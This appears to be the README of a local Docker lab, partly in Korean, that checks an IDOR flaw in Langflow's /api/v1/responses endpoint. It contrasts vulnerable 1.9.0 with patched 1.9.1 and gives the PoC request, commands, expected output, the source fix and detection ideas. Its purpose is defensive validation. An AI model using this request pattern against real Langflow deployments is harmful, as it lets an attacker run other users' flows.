취약한 대상에서 공격자가 소유한 API 키는 피해자가 소유한 플로우를 실행할 수 있으며, 응답에는 피해자 전용 마커가 포함됩니다:```text
VICTIM_ONLY_CONTEXT_55255_VULN

This lab validates the vulnerable-versus-patched HTTP behavior using Langflow 1.9.0 and Langflow 1.9.1.

The lab is intentionally scoped to local Docker services. It does not target external systems and does not include credential theft, database dumping, destructive payloads, external callbacks, malware, persistence, or post-exploitation activity.

## Verified Facts

| Claim | Evidence | How to verify in this lab |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 affects Langflow's `/api/v1/responses` endpoint. | GitHub Advisory GHSA-qrpv-q767-xqq2 describes an IDOR in `/api/v1/responses`. | Review the References section and run the PoC against both local targets. |
| GitHub Advisory lists affected versions as `< 1.9.1` and patched version as `1.9.1`. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Compare the vulnerable and patched target versions in `docker-compose.yml`. |
| Some downstream vulnerability sources disagree on the exact fixed version. | GitHub/GitLab list `1.9.1` as fixed; some downstream intelligence pages mention `1.9.2` or contain mixed wording. | Review the References section and rely on the lab validation for the tested 1.9.1 behavior. |
| This lab uses Langflow 1.9.0 as the vulnerable comparison target. | The `vuln` service uses `langflowai/langflow:1.9.0`. | Inspect `docker-compose.yml` and run `docker compose ps`. |
| This lab uses Langflow 1.9.1 as the patched comparison target. | The `patched` service uses `langflowai/langflow:1.9.1`. | Inspect `docker-compose.yml` and run `docker compose ps`. |
| Langflow's Responses API uses `POST /api/v1/responses`. | Langflow documentation describes the OpenAI-compatible Responses API endpoint. | Run the PoC or manual curl request against `/api/v1/responses`. |
| Langflow's Responses API accepts a flow ID as the `model` value. | Langflow documentation states that the `model` value is replaced with a `flow_id`. | Inspect the PoC request body. |
| Langflow API requests require an API key through `x-api-key`. | Langflow API documentation describes API key authentication with the `x-api-key` header. | Inspect the PoC request headers. |
| The PoC is request-based. | `poc/validate_idor.py` sends HTTP requests and does not call Docker, Docker Compose, shell commands, or container APIs. | Inspect `poc/validate_idor.py`. |
| The vulnerable target executes a victim-owned flow with an attacker-owned API key. | The vulnerable response returns `VICTIM_ONLY_CONTEXT_55255_VULN`. | Run the vulnerable PoC command with the victim flow ID and attacker API key. |
| The patched target blocks the same cross-user execution path. | The patched response returns `error.code = flow_not_found` and does not return the victim marker. | Run the patched PoC command with the victim flow ID and attacker API key. |

## Assumptions and Unknowns

This lab uses Langflow 1.9.0 as the vulnerable comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 identifies versions before 1.9.1 as affected, and local testing confirmed the vulnerable behavior in 1.9.0.

This lab uses Langflow 1.9.1 as the patched comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 lists 1.9.1 as the patched version, and local testing confirmed that 1.9.1 blocks the tested cross-user `/api/v1/responses` execution path with `flow_not_found`.

There is a version discrepancy between sources. GitHub and GitLab advisories list versions before 1.9.1 as affected and 1.9.1 as fixed. Some downstream vulnerability intelligence pages mention 1.9.2 or contain mixed wording around the fixed version. This repository documents that discrepancy and validates the tested behavior directly:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

이 요청 형태로:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

패치된 동작은 다음과 같이 요약할 수 있습니다:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

## 소스 코드 분석

소스 레벨 문제는 Langflow `v1.9.0`과 `v1.9.1`을 비교하여 확인했습니다.

검토에 사용된 소스 태그는 다음과 같습니다:

| 버전 | Git 커밋 |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

관련 헬퍼는 다음과 같습니다:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

보안 관련 누락된 검사는 다음과 같았습니다:```python
flow.user_id == authenticated_user.id

중요한 동작은 다음과 같습니다:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

피해자가 소유한 플로우를 실행하는 대신.

이 랩에서 주요 취약 동작은 `/api/v1/responses` 실행 경로가 `get_flow_by_id_or_endpoint_name()`에 도달하여 소유권을 확인하지 않고 피해자 소유 플로우 UUID를 해석하는 것입니다.

이 패치는 또한 관련 플로우 실행 경로를 강화합니다. `endpoints.py`에서 이전에 원시 헬퍼를 FastAPI 의존성으로 사용하던 경로는 다음에서 변경되었습니다:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

이러한 래퍼 변경은 `/api/v1/run*`과 같은 다른 플로우 실행 경로에 대한 관련 강화 조치입니다. 이 변경은 헬퍼가 일반 요청 매개변수에 의존하는 대신 인증된 사용자 ID를 받도록 보장합니다. 이 랩에서 시연하는 핵심 수정 사항은 `get_flow_by_id_or_endpoint_name()` 내부의 리졸버 측 소유권 검사로 유지됩니다.

따라서 소스 수준 수정 사항은 두 가지 관련 부분으로 구성됩니다:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

이 패치는 또한 플로우를 해석해야 하는 라우트에 대한 인증된 래퍼 의존성을 추가합니다:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

패치는 또한 정보 노출을 줄입니다. 사용자 간 액세스는 다른 사용자의 플로우가 존재하는지 여부를 드러낼 수 있는 별도의 권한 부여 응답을 반환하는 대신, 찾을 수 없는 것으로 처리됩니다.

이 랩은 소스 리뷰와 런타임 검증을 분리하여 유지합니다:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

`state/` 파일은 랩 시작 중에 seed 서비스에 의해 생성됩니다. `src/` 디렉터리에는 소스 diff 검증에 사용되는 체크아웃된 Langflow 소스 트리가 포함되어 있습니다.

두 Langflow 서비스는 별도의 애플리케이션 버전과 별도의 컨테이너 내부 SQLite 데이터베이스를 사용합니다:

| 서비스      | 구성 요소 | 버전 / 역할                         |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | 취약한 대상 애플리케이션          |
| patched      | Langflow  | 패치된 비교 애플리케이션         |
| seed-vuln    | Python    | 로컬 사용자, API 키, 플로우 생성   |
| seed-patched | Python    | 로컬 사용자, API 키, 플로우 생성   |

기본 노출 서비스:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861

그들은 생성합니다:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

서비스 상태 확인:```bash
docker compose ps

예상 노출 대상:```text
http://localhost:7860
http://localhost:7861

예상 파일:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

패치된 대상에 대해 요청 기반 검증을 실행하십시오:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

필수 옵션:

| 옵션 | 의미 |
| ------ | ------- |
| `--url` | Langflow 기본 URL |
| `--api-key` | `x-api-key` 헤더에 사용되는 API 키 |
| `--flow-id` | `model` 값으로 사용되는 Flow UUID |

선택 옵션:

| 옵션 | 의미 |
| ------ | ------- |
| `--expect-marker` | 대상 플로우가 실행될 경우 응답에 예상되는 마커 |

PoC는 다음 HTTP 요청을 전송합니다:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

이 PoC는 요청 기반입니다. Docker, Docker Compose, 셸 명령어, WP-CLI, 컨테이너 API 또는 Langflow 시드 API를 호출하지 않습니다.

이 랩에서는 `state/*.json`을 사용하여 일회용 로컬 API 키와 플로우 ID를 PoC 명령어에 복사할 수 있습니다. PoC 자체는 해당 파일에 의존하지 않습니다. `state/*.json`의 API 키는 일회용 로컬 랩 키이므로, 이러한 명령어에 실제 프로덕션 API 키를 사용하지 마십시오.

## 예상 결과

### 취약한 대상

명령어:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

중요한 취약 신호는 다음과 같습니다:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

패치된 대상의 예상 신호:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

### 마커 없이 실행 관찰됨

`--expect-marker`가 생략되고 대상이 완료된 Langflow 응답을 반환하면 PoC는 다음과 같이 보고합니다:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

요청은 제공된 API 키를 사용합니다:```text
x-api-key: <attacker-api-key>

예상되는 취약 동작:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

이 랩에서 Langflow 1.9.1은 OpenAI 스타일 JSON 오류 객체와 함께 `HTTP 200`을 반환합니다:```json
{"error":{"code":"flow_not_found"}}

취약할 것으로 예상되는 결과:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

예상 패치 결과:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

이 랩은 실제 데이터 접근, 실제 비밀 접근, LLM 공급자 키 남용, 외부 콜백 또는 포스트 익스플로잇을 시연하지 않습니다.

## 탐지 및 모니터링

잠재적 지표에는 다음에 대한 인증된 요청이 포함됩니다:```text
POST /api/v1/responses

고신호 탐지 아이디어:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

패치된 검증 아티팩트 예시:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

이 PoC는 의도적으로 요청 기반입니다. Docker, Docker Compose, 셸 명령, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.

이 랩에는 다음을 위한 페이로드가 포함되어 있지 않습니다:

* flow UUID 무차별 대입,
* 사용자 열거,
* 자격 증명 탈취,
* 데이터베이스 덤프,
* LLM 공급자 키 남용,
* 임의 명령 실행,
* 악성코드,
* 지속성,
* 측면 이동,
* 고객 데이터 접근,
* 또는 외부 콜백.

목표는 통제된 환경에서 하나의 특정 기술적 조건을 시연하는 것입니다:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found